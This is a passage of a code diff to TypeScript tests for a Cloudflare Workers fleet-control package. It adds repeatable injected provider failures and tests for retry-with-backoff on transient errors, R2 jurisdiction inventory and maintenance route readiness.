+155,12 @@ export interface ProviderFailure { * returned 400 would erase the injected message there. The other REST * handlers uniformly answer a non-retryable 400, because an endpoint on the * client's default `maxRetries` budget would otherwise retry a thrown error - * and commit the mutation on the retry, with the one-shot hook already + * and commit the mutation on the retry, with the default hook already * consumed. */ readonly dispatched: boolean; + /** Consecutive uses before the failure is removed; defaults to one. */ + readonly times?: number; readonly duplicate?: boolean; readonly error?: Error; /** REST-only; honoured by upload handlers and rejected by the CLI projection. */ @@ -291,7 +293,7 @@ export class ProviderWorld { hostname: string; service: string; }> = []; - readonly zones: Array<{ id: string; name?: string }> = []; + readonly zones: Array<{ id: string; name?: string; type?: string }> = []; readonly routes: WorkerRoute[] = []; readonly durableObjectNamespaces: Array<{ id: string; @@ -317,6 +319,9 @@ export class ProviderWorld { if (this.#failures.has(operation)) { throw new Error(`failure already registered for '${operation}'`); } + if (!Number.isSafeInteger(failure.times ?? 1) || (failure.times ?? 1) < 1) { + throw new Error('failure times must be a positive safe integer'); + } this.#failures.set(operation, { ...failure }); } @@ -329,7 +334,14 @@ export class ProviderWorld { consumeFailure(operation: string): ProviderFailure | undefined { const failure = this.#failures.get(operation); - this.#failures.delete(operation); + if (failure && (failure.times ?? 1) > 1) { + this.#failures.set(operation, { + ...failure, + times: (failure.times ?? 1) - 1, + }); + } else { + this.#failures.delete(operation); + } this.#deferredFailures.delete(operation); return failure; } diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 22868f20..181073a7 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -281,6 +281,7 @@ function cleanRoute( /** A test-mutable variant of `FleetResourceInventory` (readonly at the public boundary). */ interface MutableInventory { + unavailableR2Jurisdictions: FleetResourceInventory['unavailableR2Jurisdictions']; findings: FleetInventoryFinding[]; scriptRegistrations: FleetResourceInventory['scriptRegistrations'][number][]; deployments: FleetInventoryDeployment[]; @@ -294,6 +295,7 @@ interface MutableInventory { function emptyInventory(): MutableInventory { return { findings: [], + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [], deployments: [], databaseIds: [], @@ -307,6 +309,7 @@ function emptyInventory(): MutableInventory { function inventoryFor(records: readonly FleetRecord[]): MutableInventory { return { findings: [], + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [], deployments: records.map((record) => cleanInventoryDeployment(record)), databaseIds: records.map((record) => record.databaseId), diff --git a/packages/fleet-control/test/fleet-inventory-run-store.test.ts b/packages/fleet-control/test/fleet-inventory-run-store.test.ts index 43735542..09eb19e6 100644 --- a/packages/fleet-control/test/fleet-inventory-run-store.test.ts +++ b/packages/fleet-control/test/fleet-inventory-run-store.test.ts @@ -16,6 +16,7 @@ import { type FleetInventoryStagedRow, FleetInventoryStateError, fleetInventoryOptionsDigest, + materializeFleetInventoryGeneration, } from '../src/fleet-inventory-state.js'; import type { FleetStateDatabase } from '../src/state-store.js'; import { deferred } from './fixtures/cloudflare-fetch-fixture.js'; @@ -250,6 +251,40 @@ function inventoryState(db: MemoryD1): unknown { } describe('D1FleetInventoryRunStore', () => { + it('persists R2 availability separately from an empty bucket inventory', async () => { + const store = newStore(new MemoryD1()); + const empty = await seedGeneration(store, OPERATION_ID, [], []); + await store.pinGeneration({ + generation: empty, + pinnedBy: 'availability-test', + }); + const unavailable = await seedGeneration( + store, + SECOND_OPERATION_ID, + [ + stagedRow('meta', 0, { + record: 'unavailable-r2-jurisdiction', + jurisdiction: 'fedramp', + }), + ], + [], + ); + const emptyState = await store.readFinalizedGeneration(empty); + const unavailableState = await store.readFinalizedGeneration(unavailable); + expect(JSON.stringify(unavailableState.rows)).not.toBe( + JSON.stringify(emptyState.rows), + ); + const materialize = (state: typeof emptyState) => + materializeFleetInventoryGeneration({ ...state, options: OPTIONS }); + expect(materialize(emptyState).unavailableR2Jurisdictions).toEqual([]); + expect(materialize(unavailableState).unavailableR2Jurisdictions).toEqual([ + 'fedramp', + ]); + expect( + Object.isFrozen(materialize(unavailableState).unavailableR2Jurisdictions), + ).toBe(true); + }); + it('creates the six inventory tables, verifies every column, and fails closed on drift', async () => { const db = new MemoryD1(); await newStore(db).latestFinalizedGeneration(); diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index 7a6ff727..9069d1e4 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -746,6 +746,7 @@ function inventoryFor(records: readonly FleetRecord[]): FleetResourceInventory { dispatchScriptCount: records.filter( (item) => item.backend === 'workers-for-platforms', ).length, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: records.map((item) => ({ scriptName: item.scriptName, tenantTag: item.tenantTag, @@ -1100,6 +1101,7 @@ describe('fleet operations', () => { inventory: { findings: inventory.findings, dispatchScriptCount: inventory.dispatchScriptCount, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [ ...inventory.scriptRegistrations, { @@ -1232,6 +1234,7 @@ describe('fleet operations', () => { const inventory: FleetResourceInventory = { findings: [], dispatchScriptCount: releases.length, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: releases.map((candidate) => ({ scriptName: candidate.physicalScriptName, tenantTag: acme.tenantTag, @@ -1598,6 +1601,7 @@ describe('fleet operations', () => { const inventory: FleetResourceInventory = { findings: [], dispatchScriptCount: 2, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [priorRelease, targetRelease].map((release) => ({ scriptName: release.physicalScriptName, tenantTag: migrating.tenantTag, @@ -1722,6 +1726,7 @@ describe('fleet operations', () => { const inventory: FleetResourceInventory = { findings: [], dispatchScriptCount: 0, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [], deployments: [], databaseIds: [], @@ -1789,6 +1794,7 @@ describe('fleet operations', () => { const inventory: FleetResourceInventory = { findings: [], dispatchScriptCount: 1, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [ { scriptName: active.physicalScriptName, @@ -1914,6 +1920,7 @@ describe('fleet operations', () => { findings: [], hostRoutingKvId: 'host-routing-kv', dispatchScriptCount: 0, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [], deployments: expectsTrustedWorkers ? [ @@ -2014,6 +2021,7 @@ describe('fleet operations', () => { inventory: { findings: [], dispatchScriptCount: 0, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [], deployments: [], databaseIds: [releaseBearing.databaseId], @@ -2067,6 +2075,7 @@ describe('fleet operations', () => { findings: [], hostRoutingKvId: 'host-routing-kv', dispatchScriptCount: 1, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [ { scriptName: current.scriptName, @@ -2241,6 +2250,7 @@ describe('fleet operations', () => { records: [current], inventory: { findings: [], + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [], deployments: [], databaseIds: [current.databaseId], diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index 36adb32d..079846c3 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -1,10 +1,15 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; -import { describe, expect, it } from 'vitest'; +import { APIConnectionError } from 'cloudflare'; +import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; +import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; import { migrateFleet } from '../src/fleet.js'; -import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; +import { + PlainWorkerBackend, + plainWorkerIngressModule, +} from '../src/plain-worker-backend.js'; import { decommissionDeployment, forceDecommissionDeployment, @@ -17,6 +22,11 @@ import { effectiveLifecyclePhase, type FleetRecord, } from '../src/types.js'; +import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js'; +import { + recordingFetch, + restProjection, +} from './fixtures/cloudflare-fetch-fixture.js'; import { buildPlainWorkerSpec, captureFailure, @@ -26,6 +36,7 @@ import { initialSpec, migrationSpec, type PlainWorkerHarness, + plainOnlyClient, routeAttestation, seedWorkerFromSpec, sharedSecrets, @@ -34,6 +45,7 @@ import type { ProviderDatabase, ProviderWorld, } from './fixtures/provider-world.js'; +import { cliProjection } from './fixtures/wrangler-world-projection.js'; const ownedFence = { mutationLeaseTtlMs: 15 * 60_000, @@ -389,28 +401,39 @@ export function describePlainWorkerConformance( const targetSpec = migrationSpec(); const initial = await provisionReady(harness, currentSpec); harness.world.mutationLog.length = 0; - harness.world.afterNext('ensureMaintenance', (world) => { - alterFleetDigest(world, targetSpec.scriptName, 'f'.repeat(64)); + const maintenanceRequested = new Promise((resolve) => { + harness.world.afterNext('ensureMaintenance', (world) => { + alterFleetDigest(world, targetSpec.scriptName, 'f'.repeat(64)); + vi.useFakeTimers(); + resolve(); + }); }); - const failure = await captureFailure( - migrate(harness, initial.record, targetSpec), - ); + try { + const pending = captureFailure( + migrate(harness, initial.record, targetSpec), + ); - expect(errorChain(failure)).toContain( - 'maintenance response did not attest fleet specification', - ); - const script = harness.world.scripts.get(targetSpec.scriptName); - expect(script?.deployment).toEqual([ - { versionId: initial.record.artifactVersion, percentage: 100 }, - { versionId: expect.any(String), percentage: 0 }, - ]); - expect(harness.world.mutationLog).toContain( - `deploy-candidate:${targetSpec.scriptName}`, - ); - expect(harness.world.mutationLog).not.toContain( - `deploy:${targetSpec.scriptName}`, - ); + await maintenanceRequested; + await vi.advanceTimersByTimeAsync(60_000); + const failure = await pending; + expect(errorChain(failure)).toContain( + 'maintenance response did not attest fleet specification', + ); + const script = harness.world.scripts.get(targetSpec.scriptName); + expect(script?.deployment).toEqual([ + { versionId: initial.record.artifactVersion, percentage: 100 }, + { versionId: expect.any(String), percentage: 0 }, + ]); + expect(harness.world.mutationLog).toContain( + `deploy-candidate:${targetSpec.scriptName}`, + ); + expect(harness.world.mutationLog).not.toContain( + `deploy:${targetSpec.scriptName}`, + ); + } finally { + vi.useRealTimers(); + } }); it('4. attests one active route and refuses absent or malformed routed digests', async () => { @@ -759,7 +782,7 @@ export function describePlainWorkerConformance( ); }); - it('11. reconciles committed mutations and refuses requests that never commit', async () => { + it('11. reconciles committed mutations, retries a transport failure that never dispatched, and refuses one that persists', async () => { const spec = buildPlainWorkerSpec(); const databaseCreate = makeHarness(); @@ -785,63 +808,146 @@ export function describePlainWorkerConformance( 1, ); - const rejectedUpload = makeHarness(); - rejectedUpload.world.failNext('uploadCandidate', { - dispatched: false, - error: new Error('injected upload sentinel 0001'), - }); - const uploadRejection = await captureFailure( - provisionReady(rejectedUpload, spec), - ); - const rejectedScript = rejectedUpload.world.scripts.get(spec.scriptName); - expect(errorChain(uploadRejection)).toContain( - 'injected upload sentinel 0001', - ); - expect(rejectedScript).toBeUndefined(); - expect( - rejectedUpload.world.mutationLog.some((entry) => - entry.startsWith(`upload:${spec.scriptName}`), - ), - ).toBe(false); - - const stagedUpload = makeHarness(); - const stagedReady = await provisionReady(stagedUpload, initialSpec()); - const stagedTarget = migrationSpec(); - const database = stagedUpload.world.databases.find( - ({ databaseId }) => databaseId === stagedReady.record.databaseId, - ); - if (!database) throw new Error('ready database disappeared'); - stagedUpload.world.failNext('uploadCandidate', { - dispatched: false, - error: new Error('injected staged upload sentinel 0001'), - }); - stagedUpload.world.mutationLog.length = 0; - - const stagedRejection = await captureFailure( - stagedUpload.backend.deployWorker( - stagedTarget, - databaseReference(database), - sharedSecrets, - undefined, - ownedFence, - undefined, - ), - ); + function retryHarness() { + const harness = makeHarness(); + const projected = recordingFetch(restProjection(harness.world)); + const client = plainOnlyClient(projected, harness.exportStore); + const wait = vi.fn(async (_ms: number) => {}); + const backend = harness.exportDirectory + ? new PlainWorkerBackend({ + api: new WranglerPlainWorkerProvisioningApi({ + runner: cliProjection(harness.world), + routeApi: client, + exportDirectory: harness.exportDirectory, + exportStore: harness.exportStore, + }), + identityCaller: 'PlainWorkerBackend.conformance', + fetch: projected.fetch, + wait, + }) + : new CloudflareApiPlainWorkerBackend({ + client, + fetch: projected.fetch, + wait, + }); + const upload = vi.spyOn(harness.world, 'consumeFailure'); + return { + ...harness, + backend, + wait, + uploadAttempts: () => + harness.exportDirectory + ? upload.mock.calls.filter( + ([operation]) => operation === 'uploadCandidate', + ).length + : projected.requests.filter(({ method, url }) => { + const pathname = new URL(url).pathname; + return ( + (method === 'PUT' && + pathname.endsWith(`/scripts/${spec.scriptName}`)) || + (method === 'POST' && + pathname.endsWith(`/scripts/${spec.scriptName}/versions`)) + ); + }).length, + transportError: (message: string) => { + const error = new Error(message); + return harness.exportDirectory + ? new APIConnectionError({ cause: error }) + : error; + }, + }; + } - expect(errorChain(stagedRejection)).toContain( - 'injected staged upload sentinel 0001', - ); - expect(errorChain(stagedRejection)).toContain( - `failed to update existing Worker '${stagedTarget.scriptName}'`, - ); - expect( - stagedUpload.world.scripts.get(stagedTarget.scriptName)?.versions, - ).toHaveLength(1); - expect( - stagedUpload.world.mutationLog.some((entry) => - entry.startsWith('upload:'), - ), - ).toBe(false); + for (const staged of [false, true]) { + for (const times of [1, 3]) { + const harness = retryHarness(); + const target = staged ? migrationSpec() : spec; + const initial = staged + ? await provisionReady(harness, initialSpec()) + : undefined; + const priorVersions = + harness.world.scripts + .get(target.scriptName) + ?.versions.map(({ versionId }) => versionId) ?? []; + const priorAttempts = harness.uploadAttempts(); + const sentinel = staged + ? 'injected staged upload sentinel 0001' + : 'injected upload sentinel 0001'; + harness.world.mutationLog.length = 0; + harness.world.failNext('uploadCandidate', { + dispatched: false, + times, + error: harness.transportError(sentinel), + }); + const invoke = () => + initial + ? migrate(harness, initial.record, target).then(([record]) => ({ + record, + })) + : provisionReady(harness, target); + + if (times === 1) { + const result = await invoke(); + expect(result.record?.phase).toBe('ready'); + expect(harness.uploadAttempts() - priorAttempts).toBe(2); + expect(harness.wait.mock.calls).toEqual([[2_000]]); + const versions = harness.world.scripts.get( + target.scriptName, + )?.versions; + expect(versions).toHaveLength(priorVersions.length + 1); + expect( + versions?.filter( + ({ versionId }) => !priorVersions.includes(versionId), + ), + ).toHaveLength(1); + expect( + harness.world.mutationLog.filter((entry) => + entry.startsWith('upload:'), + ), + ).toEqual([`upload:${target.scriptName}`]); + } else { + const database = + initial && + harness.world.databases.find( + ({ databaseId }) => databaseId === initial.record.databaseId, + ); + const rejection = await captureFailure( + database + ? harness.backend.deployWorker( + target, + databaseReference(database), + sharedSecrets, + undefined, + ownedFence, + undefined, + ) + : invoke(), + ); + expect(errorChain(rejection)).toContain(sentinel); + if (staged) { + expect(errorChain(rejection)).toContain( + `failed to update existing Worker '${target.scriptName}'`, + ); + expect( + harness.world.scripts + .get(target.scriptName) + ?.versions.map(({ versionId }) => versionId), + ).toEqual(priorVersions); + } else { + expect( + harness.world.scripts.get(target.scriptName), + ).toBeUndefined(); + } + expect(harness.uploadAttempts() - priorAttempts).toBe(3); + expect(harness.wait.mock.calls).toEqual([[2_000], [4_000]]); + expect( + harness.world.mutationLog.filter((entry) => + entry.startsWith('upload:'), + ), + ).toEqual([]); + } + } + } for (const operation of ['deployCandidate', 'promoteWorker']) { const deployment = makeHarness(); diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index 4ec9416a..6de6656d 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -1,7 +1,19 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it, vi } from 'vitest'; +import { + APIConnectionError, + APIConnectionTimeoutError, + APIError, + APIUserAbortError, +} from 'cloudflare'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; +import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js'; +import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; +import { + isTransientProviderError, + sanitizeProviderError, +} from '../src/cloudflare-provider-errors.js'; import { WorkerDeploymentError } from '../src/deployment-error.js'; import { PlainWorkerBackend } from '../src/plain-worker-backend.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; @@ -20,6 +32,13 @@ import type { PlainWorkerVersionDetail, } from '../src/types.js'; import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; +import { + pageItems, + recordingFetch, + restProjection, + testRateCoordinator, + zoneAuthorityResponse, +} from './fixtures/cloudflare-fetch-fixture.js'; import { mutationFence, rejectedValue, @@ -29,7 +48,7 @@ import { type FenceAssertionMode, PlainWorkerProvisioningApiFake, } from './fixtures/plain-worker-provisioning-api-fake.js'; -import { D1State } from './fixtures/provider-world.js'; +import { D1State, providerWorld } from './fixtures/provider-world.js'; const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; @@ -122,6 +141,9 @@ function backend( options: { readonly fetch?: typeof fetch; readonly clock?: () => number; + readonly wait?: (ms: number) => Promise; + readonly maintenanceRouteReadyTimeoutMs?: number; + readonly maintenanceRouteReadyIntervalMs?: number; } = {}, ): PlainWorkerBackend { return new PlainWorkerBackend({ @@ -201,6 +223,915 @@ function maintenanceResponse(digest = deploymentSpecDigest(spec)): Response { }); } +describe('reconciled transient provisioning failures', () => { + const wait = vi.fn( + (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)), + ); + beforeEach(() => { + vi.useFakeTimers(); + wait.mockClear(); + }); + afterEach(() => vi.useRealTimers()); + + function providerFailure(status = 520): APIError { + return APIError.generate( + status, + undefined, + 'provider unavailable', + new Headers(), + ); + } + + function uploadFixture() { + const api = new PlainWorkerProvisioningApiFake(); + installOnUpload(api); + const upload = vi.spyOn(api, 'uploadCandidate'); + const fence = api.fence(); + const subject = backend(api, { wait }); + return { + api, + upload, + fence, + invoke: () => + subject.deployWorker(spec, database, secrets, undefined, fence), + }; + } + + it('retries the Worker upload after a transient provider failure when reconciliation finds no tagged version: two uploads return candidate', async () => { + const { api, upload, invoke } = uploadFixture(); + upload.mockResolvedValueOnce({ + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + cleanup: { status: 'succeeded' }, + }); + const result = invoke(); + await vi.advanceTimersByTimeAsync(1_999); + expect(upload).toHaveBeenCalledTimes(1); + expect(api.versions.get(spec.scriptName)).toBeUndefined(); + await vi.advanceTimersByTimeAsync(1); + await expect(result).resolves.toEqual({ + artifactVersion: 'candidate', + created: true, + }); + expect(upload).toHaveBeenCalledTimes(2); + expect(wait).toHaveBeenNthCalledWith(1, 2_000); + expect( + api.versions.get(spec.scriptName)?.map(({ versionId }) => versionId), + ).toEqual(['candidate']); + }); + + it('accepts a tagged version created by an upload that answered a transient failure without a second upload: one upload returns candidate', async () => { + const { api, upload, invoke } = uploadFixture(); + api.uploadOutcome = { + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + }; + api.footprints.set(spec.scriptName, { + scriptPresent: true, + workersDevEnabled: true, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + }); + await expect(invoke()).resolves.toEqual({ + artifactVersion: 'candidate', + created: true, + }); + expect(upload).toHaveBeenCalledTimes(1); + expect( + api.versions.get(spec.scriptName)?.map(({ versionId }) => versionId), + ).toEqual(['candidate']); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]); + }); + + it('fails the upload after three transient failures with the last provider error: three uploads leave no version', async () => { + const { api, upload, invoke } = uploadFixture(); + const errors = [520, 502, 503].map((status) => + sanitizeProviderError(providerFailure(status), []), + ); + for (const error of errors) { + upload.mockResolvedValueOnce({ + status: 'failed', + error, + cleanup: { status: 'succeeded' }, + }); + } + const result = rejectedValue(invoke()); + await vi.advanceTimersByTimeAsync(2_000); + expect(upload).toHaveBeenCalledTimes(2); + expect(wait).toHaveBeenNthCalledWith(1, 2_000); + await vi.advanceTimersByTimeAsync(3_999); + expect(upload).toHaveBeenCalledTimes(2); + expect(wait).toHaveBeenNthCalledWith(1, 2_000); + await vi.advanceTimersByTimeAsync(1); + expect(await result).toMatchObject({ + cause: errors[2], + resourceState: 'absent', + }); + expect(((await result) as Error).cause).toBe(errors[2]); + expect(upload).toHaveBeenCalledTimes(3); + expect(api.versions.get(spec.scriptName)).toBeUndefined(); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([2_000, 4_000]); + }); + + it('does not retry a non-transient upload refusal: one upload leaves no version', async () => { + const { api, upload, invoke } = uploadFixture(); + const error = sanitizeProviderError(providerFailure(403), []); + upload.mockResolvedValueOnce({ + status: 'failed', + error, + cleanup: { status: 'succeeded' }, + }); + expect(await rejectedValue(invoke())).toMatchObject({ cause: error }); + expect(upload).toHaveBeenCalledTimes(1); + expect(api.versions.get(spec.scriptName)).toBeUndefined(); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]); + }); + + it('retries within the mutation fence duration: two uploads return candidate after a duration check before each upload', async () => { + const { api, upload, fence, invoke } = uploadFixture(); + const events: string[] = []; + Object.defineProperty(fence, 'mutationLeaseTtlMs', { + get() { + events.push('duration'); + return 15 * 60_000; + }, + }); + const original = + PlainWorkerProvisioningApiFake.prototype.uploadCandidate.bind(api); + upload.mockImplementation(async (...args) => { + expect(events.at(-1)).toBe('duration'); + events.push('upload'); + return upload.mock.calls.length === 1 + ? { + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + cleanup: { status: 'succeeded' }, + } + : original(...args); + }); + const result = invoke(); + await vi.advanceTimersByTimeAsync(2_000); + await expect(result).resolves.toEqual({ + artifactVersion: 'candidate', + created: true, + }); + expect(upload).toHaveBeenCalledTimes(2); + expect(wait).toHaveBeenNthCalledWith(1, 2_000); + expect(events.filter((event) => event === 'upload')).toHaveLength(2); + }); + + it('stops before a second upload when the mutation duration exceeds the fence: one upload leaves no version', async () => { + const { api, upload, fence, invoke } = uploadFixture(); + let ttl = 15 * 60_000; + Object.defineProperty(fence, 'mutationLeaseTtlMs', { get: () => ttl }); + upload.mockResolvedValueOnce({ + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + cleanup: { status: 'succeeded' }, + }); + const result = rejectedValue(invoke()); + await vi.advanceTimersByTimeAsync(0); + ttl = api.maxMutationDurationMs; + await vi.advanceTimersByTimeAsync(2_000); + expect(String(await result)).toContain( + 'provider mutation maximum duration must be below', + ); + expect(upload).toHaveBeenCalledTimes(1); + expect(api.versions.get(spec.scriptName)).toBeUndefined(); + }); + + it('does not retry an ambiguous upload: one upload rejects multiple tagged versions', async () => { + const { api, upload, invoke } = uploadFixture(); + api.onUploadCandidate = () => { + api.versions.set(spec.scriptName, [ + ownedVersion('first'), + ownedVersion('second'), + ]); + }; + api.uploadOutcome = { + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + }; + await rejectedValue(invoke()); + expect(upload).toHaveBeenCalledTimes(1); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]); + }); + + it('does not retry when upload reconciliation fails: one upload leaves the version unknown', async () => { + const { api, upload, invoke } = uploadFixture(); + upload.mockResolvedValueOnce({ + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + cleanup: { status: 'succeeded' }, + }); + vi.spyOn(api, 'listVersions') + .mockResolvedValueOnce(undefined) + .mockRejectedValue(new Error('inventory unavailable')); + await rejectedValue(invoke()); + expect(upload).toHaveBeenCalledTimes(1); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]); + }); + + it('preserves scratch cleanup failure across retries: two uploads install candidate but report the cleanup failure', async () => { + const { api, upload, invoke } = uploadFixture(); + const cleanupError = new Error('scratch cleanup failed'); + upload.mockResolvedValueOnce({ + status: 'failed', + error: sanitizeProviderError(providerFailure(), []), + cleanup: { status: 'failed', error: cleanupError }, + }); + const result = rejectedValue(invoke()); + await vi.advanceTimersByTimeAsync(2_000); + expect(await result).toMatchObject({ + cause: cleanupError, + resourceState: 'present', + }); + expect(upload).toHaveBeenCalledTimes(2); + expect(wait).toHaveBeenNthCalledWith(1, 2_000); + expect( + api.versions.get(spec.scriptName)?.map(({ versionId }) => versionId), + ).toEqual(['candidate']); + }); + + for (const operation of [ + 'D1 creation', + 'R2 creation', + 'candidate-at-zero deployment', + 'promotion deployment', + ] as const) { + function fixture() { + const api = new PlainWorkerProvisioningApiFake(); + const fence = api.fence(); + const subject = backend(api, { wait }); + if (operation === 'D1 creation') { + const mutation = vi.spyOn(api, 'createDatabase'); + return { + api, + mutation, + fail(error: unknown) { + mutation.mockResolvedValueOnce({ status: 'failed', error }); + }, + invoke: () => subject.ensureDatabase(spec, fence), + verify() { + expect([...api.databases.values()]).toEqual([ + { + id: spec.databaseName, + name: spec.databaseName, + created: false, + }, + ]); + }, + }; + } + if (operation === 'R2 creation') { + const mutation = vi.spyOn(api, 'createR2Bucket'); + return { + api, + mutation, + fail(error: unknown) { + mutation.mockRejectedValueOnce(error); + }, + invoke: () => subject.ensureApplicationR2Bucket(r2Resource, fence), + verify() { + expect([...api.buckets.values()]).toEqual([ + expect.objectContaining(r2Resource), + ]); + }, + }; + } + api.versions.set(spec.scriptName, [ + ownedVersion('current'), + ownedVersion('candidate'), + ]); + api.deployments.set(spec.scriptName, { + versions: + operation === 'promotion deployment' + ? [ + { versionId: 'current', percentage: 100 }, + { versionId: 'candidate', percentage: 0 }, + ] + : [{ versionId: 'current', percentage: 100 }], + }); + const mutation = vi.spyOn(api, 'createDeployment'); + return { + api, + mutation, + fail(error: unknown) { + mutation.mockResolvedValueOnce({ status: 'failed', error }); + }, + invoke: () => + operation === 'promotion deployment' + ? subject.promoteWorker( + spec, + { + allowedCurrentScriptNames: [spec.scriptName], + allowUnrouted: true, + }, + undefined, + fence, + 'candidate', + ) + : subject.deployWorker( + spec, + database, + secrets, + undefined, + fence, + 'candidate', + ), + verify() { + expect(api.deployments.get(spec.scriptName)?.versions).toEqual( + operation === 'promotion deployment' + ? [{ versionId: 'candidate', percentage: 100 }] + : [ + { versionId: 'current', percentage: 100 }, + { versionId: 'candidate', percentage: 0 }, + ], + ); + }, + }; + } + + it(`retries ${operation} after a transient provider failure when reconciliation finds no effect: two calls create the intended resource or candidate deployment`, async () => { + const { mutation, fail, invoke, verify } = fixture(); + fail(providerFailure()); + const result = invoke(); + await vi.advanceTimersByTimeAsync(1_999); + expect(mutation).toHaveBeenCalledTimes(1); + await vi.advanceTimersByTimeAsync(1); + await result; + expect(mutation).toHaveBeenCalledTimes(2); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([2_000]); + verify(); + }); + + it(`fails ${operation} after three transient failures with the last provider error`, async () => { + const { mutation, fail, invoke } = fixture(); + const errors = [520, 502, 503].map(providerFailure); + for (const error of errors) fail(error); + const result = rejectedValue(invoke()); + await vi.advanceTimersByTimeAsync(6_000); + const error = await result; + expect(error instanceof WorkerDeploymentError ? error.cause : error).toBe( + errors[2], + ); + expect(mutation).toHaveBeenCalledTimes(3); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([2_000, 4_000]); + }); + + it(`does not retry a non-transient ${operation} refusal: one call`, async () => { + const { mutation, fail, invoke } = fixture(); + const providerError = providerFailure(403); + fail(providerError); + const error = await rejectedValue(invoke()); + expect(error instanceof WorkerDeploymentError ? error.cause : error).toBe( + providerError, + ); + expect(mutation).toHaveBeenCalledTimes(1); + expect(vi.getTimerCount()).toBe(0); + expect(wait.mock.calls.map(([ms]) => ms)).toEqual([]); + }); + } + + it.each([ + ['520', () => providerFailure(520), true], + ['500', () => providerFailure(500), true], + ['408', () => providerFailure(408), true], + ['429', () => providerFailure(429), true], + ['403', () => providerFailure(403), false], + ['409', () => providerFailure(409), false], + [ + 'connection', + () => new APIConnectionError({ cause: new Error('connection reset') }), + true, + ], + ['timeout', () => new APIConnectionTimeoutError(), true], + ['abort', () => new APIUserAbortError(), false], + ])('classifies raw and sanitized %s failures as transient=%s', (_label, create, transient) => { + const error = create(); + expect(isTransientProviderError(error)).toBe(transient); + expect(isTransientProviderError(sanitizeProviderError(error, []))).toBe( + transient, + ); + }); + + it('does not classify arbitrary failures without status as transient', () => { + for (const error of [ + undefined, + null, + false, + new Error('validation'), + { status: 520 }, + { name: 'CloudflareProviderError' }, + ]) { + expect(isTransientProviderError(error)).toBe(false); + } + }); +}); + +describe('maintenance route readiness', () => { + function platform404(): Response { + return new Response('error code: 1042', { + status: 404, + headers: { + 'content-type': 'text/plain; charset=UTF-8', + server: 'cloudflare', + 'cache-control': + 'private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0', + }, + }); + } + + for (const operation of [ + 'inspect', + 'ensureMaintenance', + 'inspect without override', + ] as const) { + describe(operation, () => { + const override = operation !== 'inspect without override'; + const expectedDigest = deploymentSpecDigest(spec); + const staleDigest = 'f'.repeat(64); + const mismatch = override + ? `maintenance response did not attest fleet specification digest '${expectedDigest}'` + : "maintenance response does not match inspected Worker version 'candidate'"; + + function setup(request: typeof fetch) { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + if (!override) { + api.versions.set(spec.scriptName, [ + { ...ownedVersion('candidate'), tag: 'unmatched-tag' }, + ]); + } + const fence = api.fence(); + const subject = backend(api, { + fetch: request, + maintenanceRouteReadyTimeoutMs: 5, + maintenanceRouteReadyIntervalMs: 2, + }); + return { + api, + fence, + invoke: () => + operation === 'ensureMaintenance' + ? subject.ensureMaintenance( + spec, + 